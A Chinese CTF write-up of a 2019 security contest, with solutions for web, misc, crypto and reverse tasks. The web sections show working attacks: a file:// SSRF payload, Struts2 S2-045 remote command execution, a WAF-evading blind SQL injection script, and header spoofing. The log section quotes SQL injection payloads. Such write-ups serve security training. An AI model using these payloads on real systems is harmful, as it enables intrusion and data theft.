比赛名称:2019 TechWorld 信息安全挑战赛
战队:We_ax
Web
Web1
.DS_Store 目录信息泄漏
通过工具将网站文件下载后,似乎唯一的线索就是一张叫ctf.jpg的图片,猜测是隐写。
还有一个.git目录,意义不大,文件信息已通过.DS_Store泄漏。
39.106.184.130:8084/CTF_Can_U_Tell_Me_The_Flag/ctf.jpg
图片的这个路径也有.DS_Store文件的,扫描一下可能有东西
git 有泄漏,据说是个假的flag

git log

Web2
Gitlab,version很高,目前网络上找不到现成的漏洞,另寻他法,扫目录发现别人的号,进去看了下,发现root发表的仓库,可以找到源码
<?php
session_start();
function get_contents($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip));
curl_setopt($curl, CURLOPT_PORT, $port);
$data = curl_exec($curl);
if (curl_error($curl)) {
error(curl_error($curl));
}
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status >= 301 and $status <= 308) {
$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
} else {
return $data;
}
}
function error($s) {
clear_directory();
die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));
}
$msg = "";
if (isset($_GET["url"])&&"0769cdd4c5a9d8142a08373826c87baa"==md5($_GET["pass"])) {
$msg = get_contents($_GET["url"]);
}
?>
<html>
<head><title>找flag!</title></head>
<body>
<form>
<h1>猜一猜flags在哪里!</h1>
<p><b>请输入URL:</b></p>
<p><input type="text" size="100" name="url"></p>
<p><input type="submit" value="提交"></p>
</form>
<?php if (!empty($msg)) echo "<hr><p>" . $msg . "</p>"; ?>
</body>
</html>
乍一看是ssrf,然而并没有任何过滤,估计都能用file协议,所以聚焦点来到此处
(isset($_GET["url"])&&"0769cdd4c5a9d8142a08373826c87baa"==md5($_GET["pass"]))
大概就是 1 与 一个md5 等于另外的md5,后面这个md5部分可控,1与任何数得任何数,解码md5即可,得到ctfun,之后直接file协议。
payload:http://39.106.184.130:8085/index.php?pass=ctfun&url=file:///flag.txt
flag{c42e23922b2e2964a7b7f971b1e6548b}
Web3
http://39.106.184.130:8083/struts/webconsole.html
Struts控制台,但无法交互(不符合交互条件)
原因详见:http://www.mottoin.com/detail/75.html
Java WEB应用路径泄漏:/usr/local/tomcat/webapps/ROOT/WEB
[] http://39.106.184.130:8083/ 存在漏洞: S2-045
漏洞可利用,可远程执行命令
(利用脚本来源:https://www.cnblogs.com/gsharpsh00ter/p/6517952.html)
[] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: whoami
tomcat
根目录下存着flag.txt但无权读取:
[] CVE: 2017-5638 - Apache Struts2 S2-045
[] cmd: cat /flag.txt
cat: /flag.txt: Permission denied
内核:
Linux 5cdbb6d5f3c5 4.15.0-52-generic #56-Ubuntu SMP Tue Jun 4 22:49:08 UTC 2019 x86_64 GNU/Linux
Debian GNU/Linux 9
应该无法提权,放弃
[] http://39.106.184.130:8083/ 存在漏洞: S2-012
[] http://39.106.184.130:8083/ 存在漏洞: S2-046
目测可使用start.sh,添加了语句进去,sh执行并不能
太秀太秀
tac /flag.txt
flag{ef7c40a69bb58a7699fa27dd2f10f763}
Web5
sql注入,看其样子就是布尔盲注,有waf,可以测试一下过滤,过滤了很多
过滤 like + - # = order "union select" ascii <> table_name
幸好这题只需要拿到database,毕竟table_name都过滤了,
直接上exp
import requests
import string
s = requests.session()
baseurl = "http://39.106.184.130:8082/index.php?id=2"
def get_database():
database = ""
base_len = len(s.get(baseurl).text)
for i in range(1,33):
for j in string.ascii_lowercase + string.digits:
url = baseurl + " and substr(database(),{0},1) in ('{1}')".format(str(i),str(j))
if len(s.get(url).text) == base_len:
database += str(j)
if len(database) != i:
database += "*"
print(database)
if __name__ == '__main__':
get_database()

截图时候的exp写错了一点,没打到32位,最后一位也是4
flag{deb7cb73f0ea2b2af2d1e3715fd12044}
Web6
简单题,直接改 xxf: 127.0.0.1
flag{sgwxsSesSD232se14sdSVSsx}
Misc
Misc1
把a换成1,空格换成0,得到

发现很有规律

得到
MFTVYYTWJYVVU3TKLJHEUWS5FNWSY2LCPA======
base32解密后得到ag\bvN+ZnjZNJZ]+m,ibx
移5位

Naruto

69 61 6D 70 61 73 73 30 72 64
转ASCII
iampass0rd
从而得知是有密码的隐写
jphs隐写
用上面的密码导出flag
flag{jphid_is_good}
Log analysis
cat access.log | grep -v "404" >> not404.log
过滤掉所有 404 请求
url编码解码得到一堆来自内网的 sql inject
#web手分析一下sql注入语句。
GET /vulnerabilities/sqli_blind/?id=123' AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dvwa.flag),1,1))>787634,0,5)))))sbAQ)-- whgI&Submit=Submit
http://www.mianhuage.com/686.html
猜测
' AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag ORDER BY flag LIMIT 0,1),38,1))>112,0,1)))))KJQq)-- 语句 38表示位数 >112表示判断条件,猜解表名,不断缩小判断范围,最后以!=结束.
有原题。。直接提交flag
flag{3287fe300f28e24aefa2d86883832c9f}
Crypto
Rsa
import binascii
import socket
from Crypto.Util.number import getPrime,bytes_to_long,long_to_bytes
def rsa_get_key(e_1, euler):
k = 1
while True:
if (((euler * k) + 1) % e_1) == 0:
return (euler * k + 1) // e_1
k += 1
n=703739435902178622788120837062252491867056043804038443493374414926110815100242619
e=59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
d=362843528015826034116250472435616782986296050195278657613571087702035376387404519
p_1=782758164865345954251810941
p_2=810971978554706690040814093
p_3=1108609086364627583447802163
r=(p_1-1)*(p_2-1)*(p_3-1)
d=rsa_get_key(e,r)
m=pow(c,d,n)
print("m=",m)
b=hex(m)[2:]
print(b)
c=binascii.unhexlify(b)
print(c)
flag{1e257b39a25c6a7c4d66e197}
Reverse
Crackme_High
接收输入,并判断格式
GetDlgItemTextA(hDlg, 1000, &String, 255);
v1 = GetDlgItemTextA(hDlg, 1001, &input, 255);
sscanf(&String, aSDD, &v14, &v33, &v32);
if ( v1 < 43 || v1 > 77 )
{
v2 = 1;
goto LABEL_6;
}
v2 = 0;
if ( !sub_4066BC(&input, v1) ) // 只能0-9
{
LABEL_6:
sprintf(&Caption, aBadCodeD, v2 + 1);
goto LABEL_7;
}
v3 = strlen(&v14);
后边keygenme201906test经过sha256加密得到9629549d4192ce3cc5a637f6cd9e42e4e4a54bd1e33e765a5acf9b0976150b3b
进入RSA函数
int __cdecl RSA(int a1, char *input_string, int strings_0, int string_len, int a5, int a6, int a7)
{
unsigned int v7; // esi
int v8; // edi
signed int v9; // esi
int out_string[3]; // [esp+8h] [ebp-3Ch]
int out_input_strings; // [esp+14h] [ebp-30h]
char v13; // [esp+20h] [ebp-24h]
char out_end; // [esp+2Ch] [ebp-18h]
int end_strings[3]; // [esp+38h] [ebp-Ch]
init(out_string);
v7 = *(_DWORD *)(a5 + 4);
v8 = *(_DWORD *)(a5 + 8);
set_value((int)&out_end, *(_DWORD *)a5); // v14设为2
sub_402405((int)end_strings, (int)&out_end, v7);
mpi_add_int((int)&v13, (int)end_strings, v8); // 0+1
str2big((int)out_string, strings_0, string_len);// string 是sha256之后的
if ( mpi_read_string((int)&out_input_strings, 10, input_string)
|| (mpi_add_mpi(end_strings, out_string, &out_input_strings), cmp(end_strings, &v13) > 0) )// cmp判断是否为0
{
v9 = 3;
}
else
{
powmod(&out_end, (int)end_strings, a6, (int)&v13);// powmod 幂求mod a6=0x11
set_value((int)end_strings, a7); // 设置为3
v9 = cmp(&out_end, end_strings); // 相等 最后得等于3
}
freebig((int)out_string);
return v9;
}
输入字符串从10进制换成16进制后跟9629549d4192ce3cc5a637f6cd9e42e4e4a54bd1e33e765a5acf9b0976150b3b相加
e=0x11
n=0x10000000000000000000000000000000000000000000000000000000000000001
经过加密后跟3对比.
写解密脚本

最终得到
20147921867919287621000423135750575019160522385541100256929307093535644366653
即flag
Crackme_Mid****dle
v3 = a3;
result = a3[64];
v5 = a3[65];
v6 = a3[66];
v16 = a1;
if ( a2 )
{
v15 = a2;
while ( 1 )
{
v19 = (result + 1) & 0x3F;
v7 = &v3[v19];
v17 = (v3[v19] + v5) & 0x3F;
v8 = &v3[v17];
v18 = (v19 + *v8) & 0x3F;
v9 = *v16;
v10 = *v7 ^ *v8;
*v7 ^= v10;
*v8 ^= v10;
v11 = &v3[v18];
v12 = *v7 ^ *v11;
*v7 ^= v12;
*v11 ^= v12;
v13 = v16++;
v14 = v15-- == 1;
*v13 = v9 - ((*v7 + *v8 + *v11) & 0x3F);
if ( v14 )
break;
v5 = v17;
result = v19;
}
v6 = v18;
v5 = v17;
result = v19;
}
v3[66] = v6;
v3[64] = result;
v3[65] = v5;
return result;
}
生成一堆数,输入字符串与之相减,最后对比。
q = [0x35,0xd,0xe,0x3a,0x0a,0x3f,0x00,0x1e,0x1e,0x1c,0x22,0x27,0x08,0x12,0x1c,0x09]
i = [0x2E,0x67,0x58,0x29,0x65,0x25,0x65,0x46,0x14,0x14,0x0F,0x12,0x28,0x24,0x15,0x2D]
flag = ""
for u in range(len(i)):
flag += chr(q[u]+i[u])
print (flag)
得ctfcoded20190616